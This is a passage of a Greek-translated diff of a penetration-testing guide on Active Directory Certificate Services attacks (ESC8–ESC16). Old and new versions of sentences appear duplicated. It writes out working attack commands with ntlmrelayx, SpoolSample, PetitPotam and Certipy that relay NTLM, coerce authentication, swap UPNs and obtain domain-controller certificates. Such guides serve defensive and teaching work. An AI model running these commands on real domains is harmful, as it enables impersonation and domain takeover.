4. Το προκύπτον πιστοποιητικό περιέχει τώρα το κακόβουλο OID πολιτικής έκδοσης και μπορεί να χρησιμοποιηθεί σε επόμενες επιθέσεις (π.χ. ESC13, κλιμάκωση τομέα, κ.λπ.).
> NOTE: Η ίδια επίθεση μπορεί να εκτελεστεί με το Certipy ≥ 4.7 μέσω της εντολής `ca` και της παραμέτρου `-set-extension`.
## NTLM Relay to AD CS HTTP Endpoints ESC8
### Εξήγηση
### Explanation
> [!TIP]
> Σε περιβάλλοντα όπου **έχει εγκατασταθεί το AD CS**, εάν υπάρχει τουλάχιστον ένα **ευάλωτο σημείο εγγραφής ιστού** και τουλάχιστον ένα **πρότυπο πιστοποιητικού έχει δημοσιευθεί** που επιτρέπει **την εγγραφή υπολογιστών τομέα και την πιστοποίηση πελατών** (όπως το προεπιλεγμένο **`Machine`** πρότυπο), είναι δυνατή η **κατάχρηση οποιουδήποτε υπολογιστή με ενεργή την υπηρεσία spooler από έναν επιτιθέμενο**!
> Σε περιβάλλοντα όπου **AD CS είναι εγκατεστημένο**, εάν υπάρχει ένα **ευάλωτο σημείο εγγραφής ιστού** και τουλάχιστον ένα **πρότυπο πιστοποιητικού έχει δημοσιευθεί** που επιτρέπει **την εγγραφή υπολογιστών τομέα και την πιστοποίηση πελατών** (όπως το προεπιλεγμένο **`Machine`** πρότυπο), καθίσταται δυνατή η **κατάχρηση από οποιονδήποτε υπολογιστή με ενεργή υπηρεσία spooler από έναν επιτιθέμενο**!
Πολλές **μεθόδοι εγγραφής βασισμένες σε HTTP** υποστηρίζονται από το AD CS, οι οποίες είναι διαθέσιμες μέσω πρόσθετων ρόλων διακομιστή που μπορεί να εγκαταστήσουν οι διαχειριστές. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών βασισμένων σε HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από μια **κατεστραμμένη μηχανή, μπορεί να προσποιηθεί οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Ενώ προσποιείται τον λογαριασμό του θύματος, αυτές οι διεπαφές ιστού μπορούν να προσπελαστούν από έναν επιτιθέμενο για να **ζητήσουν ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών `User` ή `Machine`**.
Πολλές **μεθόδους εγγραφής βασισμένες σε HTTP** υποστηρίζονται από το AD CS, που διατίθενται μέσω πρόσθετων ρόλων διακομιστή που μπορεί να εγκαταστήσουν οι διαχειριστές. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών βασισμένων σε HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από μια **κατεστραμμένη μηχανή, μπορεί να προσποιηθεί οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Ενώ προσποιείται τον λογαριασμό του θύματος, αυτές οι διεπαφές ιστού μπορούν να προσπελαστούν από έναν επιτιθέμενο για να **ζητήσει ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικού `User` ή `Machine`**.
- Η **διεπαφή εγγραφής ιστού** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http://<caserver>/certsrv/`), προεπιλέγει μόνο HTTP, το οποίο δεν προσφέρει προστασία κατά των επιθέσεων NTLM relay. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της κεφαλίδας HTTP Authorization, καθιστώντας τις πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos μη εφαρμόσιμες.
- Η **Υπηρεσία Εγγραφής Πιστοποιητικών** (CES), η **Πολιτική Εγγραφής Πιστοποιητικών** (CEP) Web Service και η **Υπηρεσία Εγγραφής Δικτυακών Συσκευών** (NDES) υποστηρίζουν προεπιλεγμένα την πιστοποίηση negotiate μέσω της κεφαλίδας HTTP Authorization τους. Η πιστοποίηση negotiate **υποστηρίζει και τα δύο** Kerberos και **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει την πιστοποίηση σε NTLM** κατά τη διάρκεια επιθέσεων relay. Αν και αυτές οι διαδικτυακές υπηρεσίες ενεργοποιούν το HTTPS από προεπιλογή, το HTTPS από μόνο του **δεν προστατεύει από επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με την δέσμευση καναλιού. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επέκταση Προστασίας για Πιστοποίηση στο IIS, η οποία απαιτείται για την δέσμευση καναλιού.
- Η **διεπαφή εγγραφής ιστού** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http://<caserver>/certsrv/`), προεπιλέγει μόνο HTTP, το οποίο δεν προσφέρει προστασία κατά των επιθέσεων NTLM relay. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της HTTP κεφαλίδας Authorization, καθιστώντας τις πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos μη εφαρμόσιμες.
- Η **Υπηρεσία Εγγραφής Πιστοποιητικών** (CES), η **Υπηρεσία Πολιτικής Εγγραφής Πιστοποιητικών** (CEP) και η **Υπηρεσία Εγγραφής Δικτύου Συσκευών** (NDES) υποστηρίζουν προεπιλεγμένα την πιστοποίηση negotiate μέσω της HTTP κεφαλίδας Authorization τους. Η πιστοποίηση negotiate **υποστηρίζει και** το Kerberos και το **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει την πιστοποίηση σε NTLM** κατά τη διάρκεια επιθέσεων relay. Αν και αυτές οι διαδικτυακές υπηρεσίες ενεργοποιούν το HTTPS από προεπιλογή, το HTTPS από μόνο του **δεν προστατεύει από επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με την δέσμευση καναλιού. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επεκτεταμένη Προστασία για Πιστοποίηση στο IIS, που απαιτείται για την δέσμευση καναλιού.
Ένα κοινό **πρόβλημα** με τις επιθέσεις NTLM relay είναι η **σύντομη διάρκεια των συνεδριών NTLM** και η αδυναμία του επιτιθέμενου να αλληλεπιδρά με υπηρεσίες που **απαιτούν υπογραφή NTLM**.
Ένα κοινό **πρόβλημα** με τις επιθέσεις NTLM relay είναι η **σύντομη διάρκεια των συνεδριών NTLM** και η αδυναμία του επιτιθέμενου να αλληλεπιδρά με υπηρεσίες που **απαιτούν NTLM signing**.
Ωστόσο, αυτός ο περιορισμός ξεπερνιέται εκμεταλλευόμενος μια επίθεση NTLM relay για να αποκτήσει ένα πιστοποιητικό για τον χρήστη, καθώς η διάρκεια ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν υπογραφή NTLM**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε σε:
Ωστόσο, αυτός ο περιορισμός ξεπερνιέται εκμεταλλευόμενος μια επίθεση NTLM relay για να αποκτήσει ένα πιστοποιητικό για τον χρήστη, καθώς η διάρκεια ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν NTLM signing**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε σε:
{{#ref}}
account-persistence.md
{{#endref}}
Ένας άλλος περιορισμός των επιθέσεων NTLM relay είναι ότι **μια μηχανή που ελέγχεται από τον επιτιθέμενο πρέπει να πιστοποιηθεί από έναν λογαριασμό θύματος**. Ο επιτιθέμενος θα μπορούσε είτε να περιμένει είτε να προσπαθήσει να **επιβάλει** αυτή την πιστοποίηση:
Ένας άλλος περιορισμός των επιθέσεων NTLM relay είναι ότι **μια μηχανή που ελέγχεται από τον επιτιθέμενο πρέπει να πιστοποιηθεί από έναν λογαριασμό θύματος**. Ο επιτιθέμενος θα μπορούσε είτε να περιμένει είτε να προσπαθήσει να **επιβάλει** αυτήν την πιστοποίηση:
{{#ref}}
../printers-spooler-service-abuse.md
{{#endref}}
### **Κατάχρηση**
### **Abuse**
[**Certify**](https://github.com/GhostPack/Certify)s `cas` καταγράφει **ενεργοποιημένα σημεία HTTP AD CS**:
[**Certify**](https://github.com/GhostPack/Certify)s `cas` enumerates **enabled HTTP AD CS endpoints**:
```
Certify.exe cas
```
@ -363,7 +403,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
<figure><img src="../../../images/image (940).png" alt=""><figcaption></figcaption></figure>
#### Κατάχρηση με το Certify
#### Κατάχρηση με Certify
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -378,11 +418,11 @@ proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2sup
# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
```
#### Κατάχρηση με [Certipy](https://github.com/ly4k/Certipy)
#### Abuse with [Certipy](https://github.com/ly4k/Certipy)
Το αίτημα για ένα πιστοποιητικό γίνεται από το Certipy από προεπιλογή με βάση το πρότυπο `Machine` ή `User`, που καθορίζεται από το αν το όνομα του λογαριασμού που αναμεταδίδεται τελειώνει σε `$`. Η καθορισμός ενός εναλλακτικού προτύπου μπορεί να επιτευχθεί μέσω της χρήσης της παραμέτρου `-template`.
Μια τεχνική όπως το [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξαναγκάσει την αυθεντικοποίηση. Όταν ασχολείστε με ελεγκτές τομέα, απαιτείται ο καθορισμός του `-template DomainController`.
Μια τεχνική όπως το [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξαναγκάσει την αυθεντικοποίηση. Όταν ασχολείστε με ελεγκτές τομέα, απαιτείται η καθορισμός του `-template DomainController`.
```bash
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -406,7 +446,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
- Το `StrongCertificateBindingEnforcement` δεν έχει ρυθμιστεί σε `2` (με την προεπιλεγμένη να είναι `1`), ή οι `CertificateMappingMethods` περιλαμβάνουν τη σημαία `UPN`.
- Το πιστοποιητικό είναι σημειωμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` εντός της ρύθμισης `msPKI-Enrollment-Flag`.
- Οποιοδήποτε EKU πιστοποίησης πελάτη καθορίζεται από το πιστοποιητικό.
- Οι άδειες `GenericWrite` είναι διαθέσιμες σε οποιονδήποτε λογαριασμό για να συμβιβάσουν έναν άλλο.
- Οι άδειες `GenericWrite` είναι διαθέσιμες σε οποιονδήποτε λογαριασμό για να συμβιβαστεί άλλος.
### Abuse Scenario
@ -471,7 +511,7 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
Η `userPrincipalName` της `Jane` επαναφέρεται στην αρχική της, `Jane@corp.local`.
`Jane`'s `userPrincipalName` επιστρέφει τότε στην αρχική του μορφή, `Jane@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
@ -499,7 +539,7 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
Για να αυθεντικοποιηθεί μέσω Schannel, χρησιμοποιείται η επιλογή `-ldap-shell` του Certipy, υποδεικνύοντας την επιτυχία της αυθεντικοποίησης ως `u:CORP\DC$`.
Για να αυθεντικοποιηθεί μέσω Schannel, η επιλογή `-ldap-shell` του Certipy χρησιμοποιείται, υποδεικνύοντας την επιτυχία της αυθεντικοποίησης ως `u:CORP\DC$`.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
@ -513,9 +553,9 @@ certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
### Εξήγηση
Εάν ο CA Server δεν έχει ρυθμιστεί με `IF_ENFORCEENCRYPTICERTREQUEST`, μπορεί να πραγματοποιήσει επιθέσεις NTLM relay χωρίς υπογραφή μέσω της υπηρεσίας RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
Εάν ο CA Server δεν είναι ρυθμισμένος με `IF_ENFORCEENCRYPTICERTREQUEST`, μπορεί να πραγματοποιήσει επιθέσεις NTLM relay χωρίς υπογραφή μέσω της υπηρεσίας RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
Μπορείτε να χρησιμοποιήσετε το `certipy` για να καταγράψετε αν η `Enforce Encryption for Requests` είναι απενεργοποιημένη και το certipy θα δείξει τις ευπάθειες `ESC11`.
Μπορείτε να χρησιμοποιήσετε `certipy` για να καταγράψετε αν η `Enforce Encryption for Requests` είναι απενεργοποιημένη και το certipy θα δείξει τις ευπάθειες `ESC11`.
```bash
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -565,7 +605,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
Οι διαχειριστές μπορούν να ρυθμίσουν την Αρχή Πιστοποίησης για να την αποθηκεύσουν σε μια εξωτερική συσκευή όπως το "Yubico YubiHSM2".
Εάν η συσκευή USB είναι συνδεδεμένη στον διακομιστή CA μέσω μιας θύρας USB, ή σε περίπτωση που ο διακομιστής CA είναι εικονική μηχανή, απαιτείται ένα κλειδί αυθεντικοποίησης (μερικές φορές αναφέρεται ως "κωδικός πρόσβασης") για να μπορέσει ο Παροχέας Αποθήκευσης Κλειδιών να δημιουργήσει και να χρησιμοποιήσει κλειδιά στο YubiHSM.
Εάν η συσκευή USB είναι συνδεδεμένη στον διακομιστή CA μέσω μιας θύρας USB, ή σε περίπτωση που ο διακομιστής CA είναι μια εικονική μηχανή, απαιτείται ένα κλειδί αυθεντικοποίησης (μερικές φορές αναφέρεται ως "κωδικός πρόσβασης") για να μπορέσει ο Παροχέας Αποθήκευσης Κλειδιών να δημιουργήσει και να χρησιμοποιήσει κλειδιά στο YubiHSM.
Αυτό το κλειδί/κωδικός πρόσβασης αποθηκεύεται στο μητρώο κάτω από `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` σε καθαρό κείμενο.
@ -631,28 +671,28 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
Η περιγραφή στο https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping είναι εξαιρετικά λεπτομερής. Παρακάτω παρατίθεται ένα απόσπασμα του πρωτότυπου κειμένου.
Η ESC14 αντιμετωπίζει τις ευπάθειες που προκύπτουν από την "ασθενή ρητή αντιστοίχιση πιστοποιητικών", κυρίως μέσω της κακής χρήσης ή ανασφαλούς διαμόρφωσης του χαρακτηριστικού `altSecurityIdentities` σε λογαριασμούς χρηστών ή υπολογιστών του Active Directory. Αυτό το πολυτιμολόγιο χαρακτηριστικό επιτρέπει στους διαχειριστές να συσχετίζουν χειροκίνητα πιστοποιητικά X.509 με έναν λογαριασμό AD για σκοπούς αυθεντικοποίησης. Όταν είναι συμπληρωμένα, αυτές οι ρητές αντιστοιχίσεις μπορούν να παρακάμψουν τη λογική αντιστοίχισης πιστοποιητικών προεπιλογής, η οποία συνήθως βασίζεται σε UPN ή DNS ονόματα στο SAN του πιστοποιητικού, ή το SID που είναι ενσωματωμένο στην ασφάλεια `szOID_NTDS_CA_SECURITY_EXT`.
Το ESC14 αντιμετωπίζει τις ευπάθειες που προκύπτουν από την "ασθενή ρητή αντιστοίχιση πιστοποιητικών", κυρίως μέσω της κακής χρήσης ή ανασφαλούς διαμόρφωσης του χαρακτηριστικού `altSecurityIdentities` σε λογαριασμούς χρηστών ή υπολογιστών του Active Directory. Αυτό το πολυτιμολόγιο χαρακτηριστικό επιτρέπει στους διαχειριστές να συσχετίζουν χειροκίνητα πιστοποιητικά X.509 με έναν λογαριασμό AD για σκοπούς αυθεντικοποίησης. Όταν είναι συμπληρωμένα, αυτές οι ρητές αντιστοιχίσεις μπορούν να παρακάμψουν τη λογική αντιστοίχισης πιστοποιητικών προεπιλογής, η οποία συνήθως βασίζεται σε UPN ή DNS ονόματα στο SAN του πιστοποιητικού, ή το SID που είναι ενσωματωμένο στην ασφάλεια `szOID_NTDS_CA_SECURITY_EXT`.
Μια "ασθενής" αντιστοίχιση συμβαίνει όταν η συμβολοσειρά που χρησιμοποιείται μέσα στο χαρακτηριστικό `altSecurityIdentities` για να προσδιορίσει ένα πιστοποιητικό είναι πολύ ευρεία, εύκολα μαντεύσιμη, βασίζεται σε μη μοναδικά πεδία πιστοποιητικού ή χρησιμοποιεί εύκολα παραποιήσιμα στοιχεία πιστοποιητικού. Εάν ένας επιτιθέμενος μπορέσει να αποκτήσει ή να κατασκευάσει ένα πιστοποιητικό των χαρακτηριστικών του οποίου ταιριάζουν με μια τέτοια ασθενώς καθορισμένη ρητή αντιστοίχιση για έναν προνομιακό λογαριασμό, μπορεί να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως και να προσποιηθεί αυτόν τον λογαριασμό.
Παραδείγματα πιθανώς ασθενών συμβολοσειρών αντιστοίχισης `altSecurityIdentities` περιλαμβάνουν:
- Αντιστοίχιση αποκλειστικά με ένα κοινό Όνομα Κοινής Υποκειμένου (CN): π.χ., `X509:<S>CN=SomeUser`. Ένας επιτιθέμενος μπορεί να είναι σε θέση να αποκτήσει ένα πιστοποιητικό με αυτό το CN από μια λιγότερο ασφαλή πηγή.
- Χρήση υπερβολικά γενικών Διακριτικών Ονομάτων Εκδότη (DNs) ή Ονομάτων Υποκειμένου χωρίς περαιτέρω προσδιορισμό όπως ένας συγκεκριμένος αριθμός σειράς ή αναγνωριστικό κλειδιού υποκειμένου: π.χ., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
- Χρήση άλλων προβλέψιμων προτύπων ή μη κρυπτογραφικών αναγνωριστικών που ένας επιτιθέμενος μπορεί να είναι σε θέση να ικανοποιήσει σε ένα πιστοποιητικό που μπορεί να αποκτήσει νόμιμα ή να παραποιήσει (αν έχει παραβιάσει μια CA ή έχει βρει ένα ευάλωτο πρότυπο όπως στην ESC1).
- Αντιστοίχιση αποκλειστικά με ένα κοινό Όνομα Κοινής Θέματος (CN): π.χ., `X509:<S>CN=SomeUser`. Ένας επιτιθέμενος μπορεί να είναι σε θέση να αποκτήσει ένα πιστοποιητικό με αυτό το CN από μια λιγότερο ασφαλή πηγή.
- Χρήση υπερβολικά γενικών Διακριτικών Ονομάτων Εκδότη (DNs) ή Ονομάτων Θέματος χωρίς περαιτέρω προσδιορισμό όπως ένας συγκεκριμένος αριθμός σειράς ή αναγνωριστικό κλειδιού θέματος: π.χ., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
- Χρήση άλλων προβλέψιμων προτύπων ή μη κρυπτογραφικών αναγνωριστικών που ένας επιτιθέμενος μπορεί να είναι σε θέση να ικανοποιήσει σε ένα πιστοποιητικό που μπορεί να αποκτήσει νόμιμα ή να παραποιήσει (αν έχει παραβιάσει μια CA ή έχει βρει ένα ευάλωτο πρότυπο όπως στο ESC1).
Το χαρακτηριστικό `altSecurityIdentities` υποστηρίζει διάφορες μορφές για την αντιστοίχιση, όπως:
- `X509:<I>IssuerDN<S>SubjectDN` (αντιστοιχεί με πλήρη Εκδότη και Υποκείμενο DN)
- `X509:<SKI>SubjectKeyIdentifier` (αντιστοιχεί με την τιμή επέκτασης Αναγνωριστικού Κλειδιού Υποκειμένου του πιστοποιητικού)
- `X509:<SR>SerialNumberBackedByIssuerDN` (αντιστοιχεί με αριθμό σειράς, έμμεσα προσδιορισμένο από το DN του Εκδότη) - αυτή δεν είναι τυπική μορφή, συνήθως είναι `<I>IssuerDN<SR>SerialNumber`.
- `X509:<I>IssuerDN<S>SubjectDN` (αντιστοιχεί με πλήρες DN Εκδότη και Θέματος)
- `X509:<SKI>SubjectKeyIdentifier` (αντιστοιχεί με την τιμή του αναγνωριστικού κλειδιού θέματος του πιστοποιητικού)
- `X509:<SR>SerialNumberBackedByIssuerDN` (αντιστοιχεί με αριθμό σειράς, έμμεσα προσδιορισμένο από το DN Εκδότη) - αυτή δεν είναι τυπική μορφή, συνήθως είναι `<I>IssuerDN<SR>SerialNumber`.
- `X509:<RFC822>EmailAddress` (αντιστοιχεί με ένα όνομα RFC822, συνήθως μια διεύθυνση email, από το SAN)
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (αντιστοιχεί με ένα SHA1 hash του ακατέργαστου δημόσιου κλειδιού του πιστοποιητικού - γενικά ισχυρό)
Η ασφάλεια αυτών των αντιστοιχίσεων εξαρτάται σε μεγάλο βαθμό από την ειδικότητα, μοναδικότητα και κρυπτογραφική ισχύ των επιλεγμένων αναγνωριστικών πιστοποιητικού που χρησιμοποιούνται στη συμβολοσειρά αντιστοίχισης. Ακόμα και με ισχυρούς τρόπους δέσμευσης πιστοποιητικών ενεργοποιημένους σε Domain Controllers (οι οποίοι επηρεάζουν κυρίως τις έμμεσες αντιστοιχίσεις που βασίζονται σε SAN UPNs/DNS και την επέκταση SID), μια κακώς διαμορφωμένη είσοδος `altSecurityIdentities` μπορεί να παρουσιάσει ακόμα έναν άμεσο δρόμο για προσποίηση εάν η λογική αντιστοίχισης είναι ελαττωματική ή πολύ επιεικής.
Η ασφάλεια αυτών των αντιστοιχίσεων εξαρτάται σε μεγάλο βαθμό από την ειδικότητα, μοναδικότητα και κρυπτογραφική ισχύ των επιλεγμένων αναγνωριστικών πιστοποιητικού που χρησιμοποιούνται στη συμβολοσειρά αντιστοίχισης. Ακόμα και με ισχυρούς τρόπους δέσμευσης πιστοποιητικών ενεργοποιημένους σε Domain Controllers (οι οποίοι επηρεάζουν κυρίως τις έμμεσες αντιστοιχίσεις που βασίζονται σε SAN UPNs/DNS και την επέκταση SID), μια κακώς διαμορφωμένη είσοδος `altSecurityIdentities` μπορεί να παρουσιάσει ακόμα έναν άμεσο δρόμο για παραποίηση αν η λογική αντιστοίχισης είναι ελαττωματική ή πολύ επιεικής.
### Σενάριο Κατάχρησης
Η ESC14 στοχεύει τις **ρητές αντιστοιχίσεις πιστοποιητικών** στο Active Directory (AD), συγκεκριμένα το χαρακτηριστικό `altSecurityIdentities`. Εάν αυτό το χαρακτηριστικό είναι ρυθμισμένο (σκόπιμα ή λόγω κακής διαμόρφωσης), οι επιτιθέμενοι μπορούν να προσποιηθούν λογαριασμούς παρουσιάζοντας πιστοποιητικά που ταιριάζουν με την αντιστοίχιση.
Το ESC14 στοχεύει τις **ρητές αντιστοιχίσεις πιστοποιητικών** στο Active Directory (AD), συγκεκριμένα το χαρακτηριστικό `altSecurityIdentities`. Εάν αυτό το χαρακτηριστικό είναι ρυθμισμένο (σκόπιμα ή λόγω κακής διαμόρφωσης), οι επιτιθέμενοι μπορούν να προσποιηθούν λογαριασμούς παρουσιάζοντας πιστοποιητικά που ταιριάζουν με την αντιστοίχιση.
#### Σενάριο A: Ο Επιτιθέμενος Μπορεί να Γράψει στο `altSecurityIdentities`
@ -667,13 +707,13 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
- Ιδιοκτήτης*.
#### Σενάριο B: Ο Στοχευόμενος Έχει Ασθενή Αντιστοίχιση μέσω X509RFC822 (Email)
- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή αντιστοίχιση X509RFC822 στο altSecurityIdentities. Ένας επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα email του θύματος ώστε να ταιριάζει με το όνομα X509RFC822 του στοχευόμενου, να εγγραφεί ένα πιστοποιητικό ως το θύμα και να το χρησιμοποιήσει για να αυθεντικοποιηθεί ως ο στοχευόμενος.
- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή αντιστοίχιση X509RFC822 στο `altSecurityIdentities`. Ένας επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα email του θύματος ώστε να ταιριάζει με το όνομα X509RFC822 του στοχευόμενου, να εγγραφεί ένα πιστοποιητικό ως το θύμα και να το χρησιμοποιήσει για να αυθεντικοποιηθεί ως ο στοχευόμενος.
#### Σενάριο C: Ο Στοχευόμενος Έχει Αντιστοίχιση X509IssuerSubject
- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509IssuerSubject στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν θύμα για να ταιριάζει με το υποκείμενο της αντιστοίχισης X509IssuerSubject του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος.
- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509IssuerSubject στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν θύμα για να ταιριάζει με το θέμα της αντιστοίχισης X509IssuerSubject του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος.
#### Σενάριο D: Ο Στοχευόμενος Έχει Αντιστοίχιση X509SubjectOnly
- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509SubjectOnly στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν θύμα για να ταιριάζει με το υποκείμενο της αντιστοίχισης X509SubjectOnly του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος.
- **Προϋπόθεση**: Ο στοχευόμενος έχει μια ασθενή ρητή αντιστοίχιση X509SubjectOnly στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ρυθμίσει την ιδιότητα `cn` ή `dNSHostName` σε έναν θύμα για να ταιριάζει με το θέμα της αντιστοίχισης X509SubjectOnly του στοχευόμενου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να αυθεντικοποιηθεί ως ο στοχευόμενος.
### Συγκεκριμένες Λειτουργίες
#### Σενάριο A
@ -701,7 +741,7 @@ Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,D
Η περιγραφή στο https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc είναι εξαιρετικά λεπτομερής. Παρακάτω παρατίθεται ένα απόσπασμα του πρωτότυπου κειμένου.
Χρησιμοποιώντας ενσωματωμένα πρότυπα πιστοποιητικών έκδοσης 1, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα CSR που να περιλαμβάνει πολιτικές εφαρμογής που προτιμώνται σε σχέση με τα καθορισμένα χαρακτηριστικά Extended Key Usage που αναφέρονται στο πρότυπο. Η μόνη απαίτηση είναι τα δικαιώματα εγγραφής, και μπορεί να χρησιμοποιηθεί για τη δημιουργία πιστοποιητικών αυθεντικοποίησης πελάτη, πράκτορα αιτήσεων πιστοποιητικών και πιστοποιητικών υπογραφής κώδικα χρησιμοποιώντας το **_WebServer_** πρότυπο.
Χρησιμοποιώντας τα ενσωματωμένα πρότυπα πιστοποιητικών έκδοσης 1, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα CSR που να περιλαμβάνει πολιτικές εφαρμογής που προτιμώνται σε σχέση με τα καθορισμένα χαρακτηριστικά Extended Key Usage που αναφέρονται στο πρότυπο. Η μόνη απαίτηση είναι τα δικαιώματα εγγραφής, και μπορεί να χρησιμοποιηθεί για τη δημιουργία πιστοποιητικών αυθεντικοποίησης πελάτη, πράκτορα αιτήσεων πιστοποιητικών και πιστοποιητικών υπογραφής κώδικα χρησιμοποιώντας το **_WebServer_** πρότυπο.
### Κατάχρηση
@ -758,7 +798,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
### Explanation
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** αναφέρεται στο σενάριο όπου, αν η διαμόρφωση του AD CS δεν επιβάλλει την ένταξη της **szOID_NTDS_CA_SECURITY_EXT** επέκτασης σε όλα τα πιστοποιητικά, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το γεγονός με:
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** αναφέρεται στο σενάριο όπου, αν η διαμόρφωση του AD CS δεν επιβάλλει την συμπερίληψη της **szOID_NTDS_CA_SECURITY_EXT** επέκτασης σε όλα τα πιστοποιητικά, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το γεγονός με:
